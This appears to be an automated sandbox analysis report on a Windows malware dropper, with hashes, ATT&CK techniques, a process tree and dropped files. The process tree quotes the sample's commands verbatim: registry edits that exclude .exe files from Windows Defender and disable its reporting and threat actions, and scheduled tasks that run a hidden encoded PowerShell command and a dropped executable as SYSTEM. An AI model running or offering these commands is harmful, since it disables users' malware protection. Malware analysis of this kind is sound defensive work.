64bc066b8f3f1b3a29c41d115b18d998f467166eb44ae10fb27f8d65ad19767c

General

Target

file.exe
Size

7.2MB
MD5

293bcb13a9d502897ac154d264a446e9
SHA1

c786d5c870e7041e2559d99bd548bccafe23574e
SHA256

64bc066b8f3f1b3a29c41d115b18d998f467166eb44ae10fb27f8d65ad19767c
SHA512

c95fc69a644da84ee9009f443b02d4e2b8a57491e0df33054cf7ab5e9f52362fa2d9c655a61af9392bd184d61ca580206fd6da41494b5afb49a2b1a8f1f151d9
SSDEEP

196608:91OU82JjFcnOlU6DOKr9UanEcEFi+53u3N1ep:3OU82JjOn32OgmPD5UN1s

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 3 IoCs

Processes:

Install.exeInstall.exefkmossC.exe

pid process

1804 Install.exe
2972 Install.exe
5104 fkmossC.exe
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe

pid	process
1804	Install.exe
2972	Install.exe
5104	fkmossC.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4060001867-1434967833-2212371794-1000\Control Panel\International\Geo\Nation	Install.exe

Drops file in System32 directory 1 IoCs

Processes:

Install.exe

description ioc process

File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe
Drops file in Windows directory 1 IoCs

Processes:

schtasks.exe

description ioc process

File created C:\Windows\Tasks\bPisEBnRwoxYOmuHrm.job schtasks.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4804 schtasks.exe
4444 schtasks.exe

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

description	ioc	process
File created	C:\Windows\Tasks\bPisEBnRwoxYOmuHrm.job	schtasks.exe

pid	process
4804	schtasks.exe
4444	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.EXEpowershell.exe

pid process

2356 powershell.EXE
2356 powershell.EXE
3824 powershell.exe
3824 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.EXEpowershell.exe

description pid process

Token: SeDebugPrivilege 2356 powershell.EXE
Token: SeDebugPrivilege 3824 powershell.exe

pid	process
2356	powershell.EXE
2356	powershell.EXE
3824	powershell.exe
3824	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2356	powershell.EXE
Token: SeDebugPrivilege	3824	powershell.exe

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exepowershell.EXE

description	pid	process	target process
PID 2908 wrote to memory of 1804	2908	file.exe	Install.exe
PID 2908 wrote to memory of 1804	2908	file.exe	Install.exe
PID 2908 wrote to memory of 1804	2908	file.exe	Install.exe
PID 1804 wrote to memory of 2972	1804	Install.exe	Install.exe
PID 1804 wrote to memory of 2972	1804	Install.exe	Install.exe
PID 1804 wrote to memory of 2972	1804	Install.exe	Install.exe
PID 2972 wrote to memory of 1796	2972	Install.exe	forfiles.exe
PID 2972 wrote to memory of 1796	2972	Install.exe	forfiles.exe
PID 2972 wrote to memory of 1796	2972	Install.exe	forfiles.exe
PID 2972 wrote to memory of 2344	2972	Install.exe	forfiles.exe
PID 2972 wrote to memory of 2344	2972	Install.exe	forfiles.exe
PID 2972 wrote to memory of 2344	2972	Install.exe	forfiles.exe
PID 1796 wrote to memory of 1264	1796	forfiles.exe	cmd.exe
PID 1796 wrote to memory of 1264	1796	forfiles.exe	cmd.exe
PID 1796 wrote to memory of 1264	1796	forfiles.exe	cmd.exe
PID 2344 wrote to memory of 4044	2344	forfiles.exe	cmd.exe
PID 2344 wrote to memory of 4044	2344	forfiles.exe	cmd.exe
PID 2344 wrote to memory of 4044	2344	forfiles.exe	cmd.exe
PID 1264 wrote to memory of 3640	1264	cmd.exe	reg.exe
PID 1264 wrote to memory of 3640	1264	cmd.exe	reg.exe
PID 1264 wrote to memory of 3640	1264	cmd.exe	reg.exe
PID 1264 wrote to memory of 3476	1264	cmd.exe	reg.exe
PID 1264 wrote to memory of 3476	1264	cmd.exe	reg.exe
PID 1264 wrote to memory of 3476	1264	cmd.exe	reg.exe
PID 4044 wrote to memory of 3108	4044	cmd.exe	reg.exe
PID 4044 wrote to memory of 3108	4044	cmd.exe	reg.exe
PID 4044 wrote to memory of 3108	4044	cmd.exe	reg.exe
PID 4044 wrote to memory of 3656	4044	cmd.exe	reg.exe
PID 4044 wrote to memory of 3656	4044	cmd.exe	reg.exe
PID 4044 wrote to memory of 3656	4044	cmd.exe	reg.exe
PID 2972 wrote to memory of 4804	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 4804	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 4804	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 3060	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 3060	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 3060	2972	Install.exe	schtasks.exe
PID 2356 wrote to memory of 1592	2356	powershell.EXE	gpupdate.exe
PID 2356 wrote to memory of 1592	2356	powershell.EXE	gpupdate.exe
PID 2972 wrote to memory of 1764	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 1764	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 1764	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 4444	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 4444	2972	Install.exe	schtasks.exe
PID 2972 wrote to memory of 4444	2972	Install.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2908

C:\Users\Admin\AppData\Local\Temp\7zS3354.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1804

C:\Users\Admin\AppData\Local\Temp\7zS396F.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2972

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1264

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:3640

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:3476

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:4044

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:3108

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:3656

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gmvxFUVoE" /SC once /ST 11:52:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:4804

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gmvxFUVoE"
4⤵
PID:3060

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gmvxFUVoE"
4⤵
PID:1764

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bPisEBnRwoxYOmuHrm" /SC once /ST 15:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe\" mF /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2356

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4528

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2860

C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe
C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe mF /site_id 525403 /S
1⤵
- Executes dropped EXE
PID:5104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7zS3354.tmp\Install.exe
Filesize
6.3MB

MD5
6ebc8b5c2f88d55faf7caabefabd5957

SHA1
89ad8fb53679bd16b980fcd74a395e7475e930bc

SHA256
54d4c1af2f899aaaa9e46dad70d55f516e953b761e4c46980e985aa29ae3dbab

SHA512
2c131294f735eb5c25e04b9db4b52dde07df5d60afcbf0c5b9f27b1e93901ef378fcc812f94176cf216e0e8d967dbaae6854f901a82d34d370e3f9f84300d84e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS3354.tmp\Install.exe
Filesize
6.3MB

MD5
6ebc8b5c2f88d55faf7caabefabd5957

SHA1
89ad8fb53679bd16b980fcd74a395e7475e930bc

SHA256
54d4c1af2f899aaaa9e46dad70d55f516e953b761e4c46980e985aa29ae3dbab

SHA512
2c131294f735eb5c25e04b9db4b52dde07df5d60afcbf0c5b9f27b1e93901ef378fcc812f94176cf216e0e8d967dbaae6854f901a82d34d370e3f9f84300d84e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS396F.tmp\Install.exe
Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS396F.tmp\Install.exe
Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe
Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
memory/1264-143-0x0000000000000000-mapping.dmp

Download
memory/1592-153-0x0000000000000000-mapping.dmp

Download
memory/1764-155-0x0000000000000000-mapping.dmp

Download
memory/1796-141-0x0000000000000000-mapping.dmp

Download
memory/1804-132-0x0000000000000000-mapping.dmp

Download
memory/2344-142-0x0000000000000000-mapping.dmp

Download
memory/2356-154-0x00007FFA43910000-0x00007FFA443D1000-memory.dmp

Filesize
10.8MB

Download
memory/2356-151-0x00007FFA43910000-0x00007FFA443D1000-memory.dmp

Filesize
10.8MB

Download
memory/2356-152-0x0000018BB3D00000-0x0000018BB3D22000-memory.dmp

Filesize
136KB

Download
memory/2972-135-0x0000000000000000-mapping.dmp

Download
memory/2972-138-0x0000000010000000-0x0000000010D2B000-memory.dmp

Filesize
13.2MB

Download
memory/3060-150-0x0000000000000000-mapping.dmp

Download
memory/3108-147-0x0000000000000000-mapping.dmp

Download
memory/3476-146-0x0000000000000000-mapping.dmp

Download
memory/3640-145-0x0000000000000000-mapping.dmp

Download
memory/3656-148-0x0000000000000000-mapping.dmp

Download
memory/3824-158-0x0000000001830000-0x0000000001866000-memory.dmp

Filesize
216KB

Download
memory/3824-159-0x0000000004230000-0x0000000004858000-memory.dmp

Filesize
6.2MB

Download
memory/3824-160-0x0000000004A60000-0x0000000004A82000-memory.dmp

Filesize
136KB

Download
memory/3824-161-0x0000000004B00000-0x0000000004B66000-memory.dmp

Filesize
408KB

Download
memory/3824-162-0x0000000004B70000-0x0000000004BD6000-memory.dmp

Filesize
408KB

Download
memory/4044-144-0x0000000000000000-mapping.dmp

Download
memory/4444-156-0x0000000000000000-mapping.dmp

Download
memory/4804-149-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads